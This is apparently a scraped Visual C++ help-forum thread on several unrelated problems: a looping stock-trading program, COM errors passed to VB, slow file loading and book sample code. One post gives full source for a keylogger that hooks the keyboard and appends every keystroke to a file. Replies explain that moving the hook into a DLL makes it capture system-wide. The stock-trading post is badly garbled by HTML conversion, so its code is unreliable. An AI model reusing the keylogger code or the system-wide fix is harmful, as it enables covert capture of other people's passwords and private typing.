|
I am trying to get the user input by going to DOS and doing this:
C:\>windows>programNAme<inpu.txt
when i="" test="" every="" case="" sparately="" they="" all="" work="" just="" fine="" but="" when="" put="" thing="" together,="" don't="" know="" what="" happens?=""
="" =""
please="" tell="" me="" how="" to="" get="" out="" of="" this="" loop,="" if="" you="" can't="" find="" is="" wrong="" will="" be="" stuck="" forever.
<\pre=""> //And Do whatever is necessary to process it
do
{
switch (ch)
{
//***********************************************************************************
case 'C':
{
cin>>tempST>>tempIV;
tempStock->setStockTicker(tempST);
tempStocks->binarySearch( tempStocks->getMyStocks, 0, 14, tempST);
cout<<ch<<" "<<tempstock-="">getStockTicker()<<" "<<tempstock->getInitialValue()<<endl;
="" }break;="" ***********************************************************************************
="" case="" 'b':
="" {
="" cin="">>tempSS>>tempST>>tempNS;
//Here starts my binary search again
int low =0, mid, high= 9;
while (low <= high)
{
mid = (low + high)/2;
// here i create a temporary investor to hold data of Buyer
Investor tempInvestor = tempInvestors->getInvestor(mid);
tempAB = tempInvestor.getAccountBalance(); //AccountBalance Of Buyer
if (strcmp(tempInvestor.getSocialSecurity(),tempSS ) < 0) //this comparison is correct
low = mid + 1;
else if (strcmp(tempInvestor.getSocialSecurity(),tempSS) > 0)
high= mid - 1;
}
// Here i'm performing another binary search to look for the
// specific stock that has that same stockTicker
int lo =0, mi, hi=14;
int tempStockPrice;
while (lo <= hi)
{
mi = (lo + hi)/2;
*tempStock = tempStocks->getStock(mi);
tempStockPrice = tempStock->getCurStockPrice(); // storing the stockprice in tempStockPrice
if (strcmp(tempStock->getStockTicker(),tempST) < 0)
lo = mi + 1;
else if (strcmp(tempStock->getStockTicker(),tempST ) > 0)
hi = mi - 1;
}
if ( tempAB >= (tempStockPrice * tempNS))
{
tempTickerShare->setNumOfShares(tempNS);
tempTickerShare->setTickerSymbol(tempST);
tempInvestor->addTickerShare(tempTickerShare);
}
cout<< ch<<endl; <<"="" "<<tempinvestor-="">getSocialSecurity()<<" "<<temptickershare->getTickerSymbol() <<" "<< tempTickerShare->getNumOfShares()<<endl;
}break;=""
="" ***********************************************************************************
="" case="" 's':
="" {
="" cin="">>tempSS>>tempST>>tempNS;
//Here starts my binary search again
int low =0, mid, high=9;
while (low <= high)
{
mid = (low + high)/2;
// here i create a temporary investor to hold data of Seller
*tempInvestor = tempInvestors->getInvestor(mid);
if (strcmp((*tempInvestor).getSocialSecurity(),tempSS ) < 0)
low = mid + 1;
else if (strcmp((*tempInvestor).getSocialSecurity(),tempSS ) > 0)
high= mid - 1;
}
int lo =0, mi, hi=14;
while (lo <= hi)
{
mi = (lo + hi)/2;
tempTickerShare = tempInvestors->getInvestor(mid).getTickerShare(mi);
if (strcmp (tempST , tempTickerShare->getTickerSymbol()) < 0)
lo = mi + 1;
else if (strcmp(tempST , tempTickerShare->getTickerSymbol())> 0)
hi = mi - 1;
}
//Here i check whether the investor has enough shares to sell
if (tempNS <= tempTickerShare->getNumOfShares())
{
tempNS = tempTickerShare->getNumOfShares() - tempNS;
tempTickerShare->setNumOfShares(tempNS);
}
else
cout<< "Sorry don't have enough shares to sell"<<endl;
="" }break;="" cout<<="" ch="" <<"="" "<<tempinvestor-="">getSocialSecurity()<<" "<<temptickershare->getTickerSymbol() <<" "<< tempTickerShare->getNumOfShares()<<endl;
default:
="" {
="" cout<<"end="" of="" file.="" "<<endl;
="" }="" break;
="" }
="" }while(!cin.eof());
=""
="" delete="" tempstock;
="" tempstocks;
="" tempinvestor;
="" tempinvestors;
="" temptickershare;
}
<\pre="">
Hint: you can find the whole code in C2664
the question that i just asked
|
|
|
|
|
Your code begins with:
do
{
switch (ch)
... So, where is the ch variable declared? A very suspicious thing is the fact that ch does not vary inside the loop, which is must likely a bug. I guess you need to store the first character of each line into ch .
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
ch was declared out of the loop
if you look at my question below where you see "C2664"
you can re4ad the whole code.
|
|
|
|
|
The code posted there is not the same as here --There you've got the switch block enclosed into a for , here you've got do/while(!cin.eof()) .
I suggest you launch your debugger and go step by step to determine what's causing the app to behave differently than expected. And please do not post hundreds of lines of code: when you reach a point where your debugger helps you no more and you've spent some time thinking into the problem, then try to isolate some significant code and post a question here. Good luck with your project.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
#include "resource.h"
// Globals
HINSTANCE hInstance;
#pragma data_seg(".SHARDAT")
static HHOOK hkb=NULL;
FILE *f1;
#pragma data_seg()
// Prototypes
LRESULT CALLBACK KeyboardProc(int,WPARAM,LPARAM);
void InstallHook();
BOOL UnHook();
int DialogProcedure(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
HWND hwnd = NULL;
MSG messages;
hInstance = hThisInstance;
hwnd = CreateDialog(GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_CHARZEC), NULL, DialogProcedure);
SetWindowPos(hwnd,NULL,200,150,600,400,0);
ShowWindow(hwnd,SW_SHOW);
InstallHook();
while(GetMessage(&messages, NULL, 0, 0))
{
if(!IsDialogMessage(hwnd, &messages))
{
TranslateMessage(&messages);
DispatchMessage(&messages);
}
}
/* The program return-value is 0 - The value that PostQuitMessage( ) gave */
return messages.wParam;
}
int DialogProcedure(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch(message)
{
case WM_CREATE:
break;
case WM_ACTIVATEAPP:
break;
case WM_COMMAND:
switch(LOWORD(wParam))
{
case IDOK:
UnHook();
DestroyWindow(hwnd);
PostQuitMessage(0);
break;
}
break;
case WM_CLOSE:
UnHook();
DestroyWindow(hwnd);
PostQuitMessage(0);
break;
default:
return 0;
}
return 1;
}
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
// MessageBox (NULL, "Char pressed" , "Progress", 0 + MB_ICONASTERISK);
char ch;
if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
{
if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
{
f1=fopen("C:\\charzec.txt","a+");
if (wParam==VK_RETURN)
{ ch='\n';
fwrite(&ch,1,1,f1);
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan;
scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
fwrite(&ch,1,1,f1);
}
fclose(f1);
}
}
LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
return RetVal;
}
void InstallHook()
{
hkb = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInstance, 0);
if(hkb==NULL){ MessageBox (NULL, "SetWindowsHookEx returned NULL" , "Error", 0 + MB_ICONHAND); }
}
BOOL UnHook()
{
BOOL unhooked = UnhookWindowsHookEx(hkb);
return unhooked;
}
Can someone please tell me whats wrong with this code??? Its supposed to log all keys pressed to a file but it only works when my app has the focus. I tried this before with MFC and it worked fine there but now it wont... i dont understand why. Can anyone please help?
(NOTE: the code might not work in VC++ because i compile it with Cygwin but it should come down to the same, there's also a resource file and resource.h but those are just for the dialog and not really needed, the error should be someone else...)
Many thanks.
Kuniva
--------------------------------------------
God gave man a penis and a brain but not enough blood to make both of 'em work at the same time.
|
|
|
|
|
SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, hInstance, 0); Quote from MSDN SetWindowsHookEx documentation:
If the dwThreadId parameter is zero or specifies the identifier of a thread created by a different process, the lpfn parameter must point to a hook procedure in a dynamic-link library (DLL).
That seems to explain why you're only getting keystrokes intended to your app --for system-wide hooking the KeyboardProc must be in a DLL.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
hmmmm but then i dont seem to understand why the MFC version DOES work. the only difference in the MFC version is that i use AfxGetInstanceHandle(); to get the HINSTANCE used in SetWindowsHookEx...
Any explanation?
(thanks for the advice about the DLL, i kind of already knew but wanted to try and put it all in one exe anyways)
Kuniva
--------------------------------------------
God gave man a penis and a brain but not enough blood to make both of 'em work at the same time.
|
|
|
|
|
hmmmm but then i dont seem to understand why the MFC version DOES work
Was it inside an MFC DLL or an MFC EXE? If the latter, then I don't seem to understand either.
Any explanation?
None that I can think of without further investigation. I'd try peeping at AfxGetInstanceHandle source code to see what's making a difference.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
You have to put the callback for the keyboard hook in a DLL to make it possible to log when a user is pressing a key when your app is not in focus.
------------------------------------
Rickard Andersson, Suza Computing
ICQ#: 50302279
I'm from the winter country SWEDEN!
------------------------------------
|
|
|
|
|
Hi ,
I'm trying to send error message from my ATL object (Visual C++ 6.0, MFC) to Visual Basic 6.0 application.
I tried using:
1. AfxThrowOleDispatchException(0x200, "Some Exception", 0);
2. COleDispatchException* pException;
pException = new COleDispatchException(
_T("Some Exception"), 200, 425);
pException->m_scError = 0;
THROW(pException);
But the message box I get in VB is that of Abnormal Program Termination, Abort, Retry, Ignore?
Could anyb'dy throw some light on this matter?
Thanks,
|
|
|
|
|
I think you can trap OLE (as well as other) exceptions with the VB construct On Error GoTo . If you're new to this technique, maybe you'll want to have a look at Mark Hurst's VB Error Handling: Frequently Asked Questions.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
Thanks for your instant response.
If I return return E_FAIL; then I'm able to trap it in VB Error handling, but then the message I get is "Method <methodName> of object <objectName> failed".
I'm unable to raise my application/ATL-Object defined error codes and descriptions.
Any clue?
|
|
|
|
|
|
Thanks Again!
The article mentions "This behavior is by design in Visual Basic version 3.0. Visual Basic for Applications ..." but what I'm using is VB 6.0 which is not supposed to have any bug.
Besides the code is identical to the one that I posted.
I'm sure I'm missing something important.
|
|
|
|
|
Anyb'dy's been successful in raising custom error messages/automation from ATL/COM (6.0) to VB (6.0)?
Please Help!!
|
|
|
|
|
HI Guys,
i am using the CStdioFile ReadString() Function to read several files with the size of 350KB per File. Sometimes it takes to long to load the files and sometimes my app crashes. Is there any solution to save loading time ??? maybe any other function ?
Best Regards
Sonu
|
|
|
|
|
...and sometimes my app crashes. Is there any solution to save loading time ???
Your app crashing is a very likely sign that you've got a bug in your code --this may have to do with the poor performance you're obtaining, also.
Could you post the piece of code in which you're using ReadString ? This would help determine what's going on.
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
My app only crashes cause the files which i am loading are to large. If i
try this with smaller files, everything works fine. So i need a solution for
the loading Problem.
strFile is just a csv file with the size of 350KB.
CString sRow;
CStdioFile inFile(strFileName, CFile::modeRead);
while(inFile.ReadString(sRow) != FALSE)
{
// loading the String in a ListCtrl
}
inFile.Close();
you see i am not doing very much
Best Regards
Sonu
|
|
|
|
|
what about checking if "inFile" is valid?
could be a problem as well
modified 12-Sep-18 21:01pm.
|
|
|
|
|
350 kb is surely not large enough to cause a crash. It must be something in your code. Carefully go through it step by step.
Nish
Sonork ID 100.9786 voidmain
www.busterboy.org
If you don't find me on CP, I'll be at Bob's HungOut
|
|
|
|
|
I know. I tryed the same with smaller files and everything works fine. NO CRASH
Best Regards
Sonu
|
|
|
|
|
I don't think CStdioFile is having anything to do with the slowness of your code (you can verify this commenting out the code inside the loop and seeing if the app still goes slow).
More probably it is the process of populating the CListCtrl that is causing your app to go slowmo. You can do two things to accelerate this process:- Rick York pointed out an interesting idea in a previous thread today that applies to your case. Use
WM_SETREDRAW to prevent redrawing while you fill the list:
list.SendMessage(WM_SETREDRAW,(WPARAM)FALSE,0);
while(...){
...
}
list.SendMessage(WM_SETREDRAW,(WPARAM)TRUE,0);
- Make sure the styles
LVS_SORTASCENDING and LVS_SORTDESCENDING are note set for the list control, to prevent sorting in the middle of the population process. Later, you can sort the data (if this is your wish) with CListCtl::SortItems .
Joaquín M López Muñoz
Telefónica, Investigación y Desarrollo
|
|
|
|
|
Thanx I will try this. Maybe this can solve my Prob.
Best Regards
Sonu
|
|
|
|
|
I'm trying to learn using "Sams Teach Yourself Visual C++ 6 in 21 Days". Has anybody read that? I'm finding that there are a lot of mistakes in the sample code in the book. For example, I took this code exactly out of the book:
void CDialogsDlg::OnYesnocancel()
{
// TODO: Add your control notification handler code here
int iResults;
iResults = MessageBox("Press the Yes, No, or Cancel button", "Yes, No, Cancel Dialog",
MB_YESNOCANCEL | MB_ICONINFORMATION);
switch(iResults)
{
case IDYES:
m_sResults = "Yes! Yes! Yes!";
break;
case IDNO:
m_sResults = "No, no, no, no, no.";
break;
case IDCANCEL:
m_sResults = "Sorry, canceled.";
break;
}
UpdateData(FALSE);
}
and I got these errors:
--------------------Configuration: Dialogs - Win32 Debug--------------------
Compiling...
DialogsDlg.cpp
C:\Windows\Desktop\Dialogs\DialogsDlg.cpp(185) : error C2065: 'm_sResults' : undeclared identifier
C:\Windows\Desktop\Dialogs\DialogsDlg.cpp(185) : error C2440: '=' : cannot convert from 'char [15]' to 'int'
This conversion requires a reinterpret_cast, a C-style cast or function-style cast
C:\Windows\Desktop\Dialogs\DialogsDlg.cpp(188) : error C2440: '=' : cannot convert from 'char [20]' to 'int'
This conversion requires a reinterpret_cast, a C-style cast or function-style cast
C:\Windows\Desktop\Dialogs\DialogsDlg.cpp(191) : error C2440: '=' : cannot convert from 'char [17]' to 'int'
This conversion requires a reinterpret_cast, a C-style cast or function-style cast
Error executing cl.exe.
DialogsDlg.obj - 4 error(s), 0 warning(s)
Am I forgetting to do something, because I've doubled checked the code and its exactly what appears in the book. This is happening to me for every single code in the book. Can anybody recommend a better book?
|
|
|
|
|
It looks to me like m_sResults is a member variable, probably a CString mapped in classwizard to an edit box or a static control or something.
What does that mean? well, you can add an edit box to your dialog in the dialog editor. You've probably already learned that in VC/MFC, a dialog is represented by a class. well, each control on the dialog box is represented by a member variable in that class. you use the class wizard tool to control the mappings between controls on the dialog, and memebr variables in your class.
The code snippet you've typed in relies on this class wizard mapping being setup: if it was, you wouldnt be getting those errors.
I think therefore that the code you are reading is meant to be indicative of the point in discussion and not directly intended to be typed in and tried. It probably isn't necessary for the book to explain how to make every classwizard mapping for every control in every example.
If there's a CD in the book, it probably has VC projects to open of all these code snippets, so you can see the code in action. These projects will include all of the dependant configuration that is omitted from the sample.
Stick at it, and if you get stuck, post here... people will help.
You'll feel very rewarded when you write your first working MFC app on your own. But I warn you now, the 21 days thing is a gimmick... it takes years to learn VC++ properly. The really knowledgeable people on this forum have all been using VC for years, and I bet if you asked any of them they'd tell you they're still learning.
Jon
Sorry to dissapoint you all with my lack of a witty or poignant signature.
|
|
|
|
|